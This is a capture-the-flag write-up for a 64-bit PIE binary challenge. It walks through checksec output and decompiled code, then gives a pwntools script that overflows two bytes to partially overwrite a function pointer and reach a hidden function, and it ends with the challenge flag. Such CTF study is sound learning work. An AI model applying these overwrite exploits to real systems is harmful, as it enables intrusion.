The Road Not Taken

Overview

The main goal is to manipulate the execution flow by exploiting PIE randomization into calling the right_direction function.

Analysis

File check

$ file the_road_not_taken1 
the_road_not_taken1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fbde2c5d6b8f1315d7b2634ae43d339d49aaa455, for GNU/Linux 4.4.0, not stripped

Security Check

checksec --file the_road_not_taken1 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Key Findings

  • file is a 64bit binary
  • dynamically linked -> means it will fetch libc functions
  • not stripped -> functions name stays, we can see it in ghidra/ida Security
  • no stack canary, possible buffer overflow
  • PIE, address of the functions/gadgets will be randomized

Execution Testing bash $ ./the_road_not_taken1 Can you please lead me to the right direction to get to the flag? yoko This doesn't look like the right direction are u sure

./the_road_not_taken1 
Can you please lead me to the right direction to get to the flag?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This doesn't look like the right direction are u sure

hm, no seg fault? no overflow?

Decompiler checking

main function ```C void main(void)

{ undefined local_218 [520]; code *local_10;

setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); local_10 = wrongdirection; puts("Can you please lead me to the right direction to get to the flag?"); read(0,local_218,0x20a); (*local_10)(); return; }

wrong_direction

void wrongdirection(void)

{ puts("This doesn't look like the right direction are u sure"); return; } right_direction void rightdirection(void)

{ puts("Thanks for the help"); puts("nite{not_the_real_flag}"); return; } ```

There is indeed buffer overflow in the main function! Its just damn big. C undefined local_218 [520]; # buffer size 520 read(0,local_218,0x20a); # reads 0x20a = 522

so we can only overflow 2 bytes, not enough to replace all of the return address to go to right_direction functions

however last 2 bytes of PIE wont change "Due to the way PIE randomisation works, the base address of a PIE executable will always end in the hexadecimal characters 000. This is because pages are the things being randomised in memory, which have a standard size of 0x1000. Operating Systems keep track of page tables which point to each section of memory and define the permissions for each section, similar to segmentation.

Checking the base address ends in 000 should probably be the first thing you do if your exploit is not working as you expected." from https://ir0nstone.gitbook.io/notes/types/stack/pie

Solution

we can find the offset of the right_direction function and put it at the end of our payload python io = start() padding = 520 right = elf.symbols.rightdirection offset = b'A'*padding offset = b'A'*520 payload = offset + b'\x59\x11' io.recvline() io.sendline(payload) print(io.recvline()) print(io.recvline())

however this wont work because the offset will be added into the base address example:

  • base address = 0x11111000
  • right_direction offset = 0x1000
  • right_direction address = 0x11112000 To solve this we need to loop many times through the connection and get the base address fit with our payload
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './the_road_not_taken1'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
io = start()
padding = 520
right = elf.symbols.rightdirection
offset = b'A'*padding


for j in range(0,100):

    try:

        offset = b'A'*520
        payload = offset + b'\x59\x11'
        io.recvline()
        io.sendline(payload)
        print(io.recvline())
        print(io.recvline())
    except EOFError:
        pass

![[Pasted image 20231221224911.png]] nite{R0b3rT_fro5t_ftw_32dx5hp}